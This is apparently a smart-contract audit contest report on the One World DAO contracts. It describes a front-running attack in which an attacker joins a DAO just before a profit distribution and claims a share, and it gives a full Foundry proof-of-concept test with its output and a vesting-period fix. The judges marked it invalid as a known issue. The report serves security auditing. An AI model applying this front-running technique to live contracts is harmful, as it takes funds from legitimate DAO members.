Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

Attacker can steal profit distribution from DAO members

Summary

A user can front-run profit distributions in the DAO to gain immediate profits without meaningful participation. The attack allows the user to join right before a profit distribution, gain a share of the profits, and exit immediately with those profits.

Vulnerability Details

The vulnerability exists in the interaction between joinDAO function and sendProfit.

When a user joins a DAO, they can immediately participate in profit distributions:

https://github.com/Cyfrin/2024-11-one-world/blob/1e872c7ab393c380010a507398d4b4caca1ae32b/contracts/dao/MembershipFactory.sol#L140-L150

// In MembershipFactory
function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
// Checks tier validity
require(daos[daoMembershipAddress].noOfTiers > tierIndex, "Invalid tier.");
require(daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted, "Tier full.");
// User pays and gets minted the NFT
uint256 tierPrice = daos[daoMembershipAddress].tiers[tierIndex].price;
uint256 platformFees = (20 * tierPrice) / 100;
daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), owpWallet, platformFees);
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), daoMembershipAddress, tierPrice - platformFees);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
}

Immediately after joining, they get a full share of any profit distribution:

// In MembershipERC1155
function sendProfit(uint256 amount) external {
uint256 _totalSupply = totalSupply;
if (_totalSupply > 0) {
@> totalProfit += (amount * ACCURACY) / _totalSupply;
@> IERC20(currency).safeTransferFrom(msg.sender, address(this), amount);
emit Profit(amount);
}
}

Let's create a PoC so we can validate the following scenario:

Attacker notices a large profit distribution will be made by a certain DAO with 2 members, so he does the following:

  • Front-run the profit distribution transaction and:

  • Join the DAO that will receive the profits, paying the fees to enter, i.e: 1 ETH spending

  • Distribution of 10 ETH is done to the DAO members.

  • At this moment attacker receives 33.3% of the profits.

  • Claim and exit immediately with the profit.

  • Net profit: 2.33 ETH (3.33 ETH profit - 1 ETH join cost)

PoC

  1. Install foundry: foundryup then forge init --force

  2. In the test folder create the file MembershipFactory.t.sol and paste the code below:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import "forge-std/Test.sol";
import "../contracts/dao/MembershipFactory.sol";
import "../contracts/dao/CurrencyManager.sol";
import "../contracts/dao/tokens/MembershipERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
// Mock ERC20 for testing
contract MockERC20 is ERC20 {
constructor() ERC20("Mock Token", "MTK") {
_mint(msg.sender, 1000000 * 10**18);
}
}
contract MembershipFactoryTest is Test, ERC1155Holder {
MembershipFactory public factory;
CurrencyManager public currencyManager;
MembershipERC1155 public membershipImpl;
MockERC20 public mockToken;
address public admin = address(this);
address public owpWallet = address(0x123);
event MembershipDAONFTCreated(string indexed ensName, address nftAddress, DAOConfig daoData);
function setUp() public {
// Deploy mock token
mockToken = new MockERC20();
// Deploy CurrencyManager and whitelist mock token
currencyManager = new CurrencyManager();
currencyManager.addCurrency(address(mockToken));
// Deploy MembershipERC1155 implementation
membershipImpl = new MembershipERC1155();
// Deploy MembershipFactory
factory = new MembershipFactory(
address(currencyManager),
owpWallet,
"https://api.oneworldproject.io/metadata/",
address(membershipImpl)
);
}
function test_StealProfitFromDaoMembers() public {
// Setup initial DAO with 7 tiers
TierConfig[] memory tiers = new TierConfig[]();
for(uint i = 0; i < 7; i++) {
tiers[i] = TierConfig({
amount: 100,
price: 1 ether / (2 ** i),
power: 64 / (2 ** i),
minted: 0
});
}
DAOInputConfig memory daoConfig = DAOInputConfig({
ensname: "sponsored.dao",
daoType: DAOType.SPONSORED,
currency: address(mockToken),
maxMembers: 700,
noOfTiers: 7
});
address daoAddress = factory.createNewDAOMembership(daoConfig, tiers);
MembershipERC1155 membershipToken = MembershipERC1155(daoAddress);
// Setup two honest users who join early
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
deal(address(mockToken), user1, 100 ether);
deal(address(mockToken), user2, 100 ether);
// Two users join with tier 0 (highest power)
vm.startPrank(user1);
mockToken.approve(address(factory), 1 ether);
factory.joinDAO(daoAddress, 0);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(factory), 1 ether);
factory.joinDAO(daoAddress, 0);
vm.stopPrank();
// Setup attacker who will front-run profit distribution
address attacker = makeAddr("attacker");
deal(address(mockToken), attacker, 1 ether);
uint256 attackerInitialBalance = mockToken.balanceOf(attacker);
console.log("Attacker initial balance: %e", attackerInitialBalance);
// Attacker front-runs and joins with tier 0
vm.startPrank(attacker);
mockToken.approve(address(factory), 1 ether);
factory.joinDAO(daoAddress, 0);
vm.stopPrank();
// Setup and execute profit distribution
address profitSender = makeAddr("profitSender");
deal(address(mockToken), profitSender, 100 ether);
vm.startPrank(profitSender);
mockToken.approve(daoAddress, 10 ether);
membershipToken.sendProfit(10 ether);
vm.stopPrank();
// Check profit distribution
uint256 user1Profit = membershipToken.profitOf(user1);
uint256 user2Profit = membershipToken.profitOf(user2);
uint256 attackerProfit = membershipToken.profitOf(attacker);
console.log("User1 profit: %e", user1Profit);
console.log("User2 profit: %e", user2Profit);
console.log("Attacker profit: %e", attackerProfit);
// Attacker claims and exits
vm.startPrank(attacker);
membershipToken.claimProfit();
uint256 attackerFinalBalance = mockToken.balanceOf(attacker);
vm.stopPrank();
console.log("Attacker final balance: %e", attackerFinalBalance);
console.log("Attacker net profit (minus join cost): %e", attackerFinalBalance - attackerInitialBalance);
// PoC shows that:
// 1. Attacker spent 1 ETH to join
// 2. Got 33.3% share of 10 ETH profit (3.33 ETH)
// 3. Each legitimate user only got 3.33 ETH instead of 5 ETH they should have received
// 4. Attacker profited 2.33 ETH through front-running
}
}

Then run: forge test --match-test test_StealProfitFromDaoMembers -vv

Output:

Ran 1 test for test/MembershipFactory.t.sol:MembershipFactoryTest
[PASS] test_StealProfitFromDaoMembers() (gas: 2487003)
Logs:
Attacker initial balance: 1e18
User1 profit: 3.333333333333333333e18
User2 profit: 3.333333333333333333e18
Attacker profit: 3.333333333333333333e18
@> Attacker final balance: 3.333333333333333333e18
@> Attacker net profit (minus join cost): 2.333333333333333333e18

The attacker exploited the DAO and stole 3.3e18 within 1 second of participation. Legitimate participants with actual stakes suffered financial losses as a result.

Impact

  • Attackers can join just before profits are distributed to unfairly claim a share.

  • Legitimate members receive less profit because attackers dilute the distribution.

In a nutshell, loss of funds with high probability.

Tools Used

Manual Review

Hatehat & Foundry

Recommendations

Add a vesting period for profit participation. New members should wait a certain time before being eligible for profit distribution.

An improved approach is to distribute profits proportionally based on the duration each user has been a member of the DAO.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.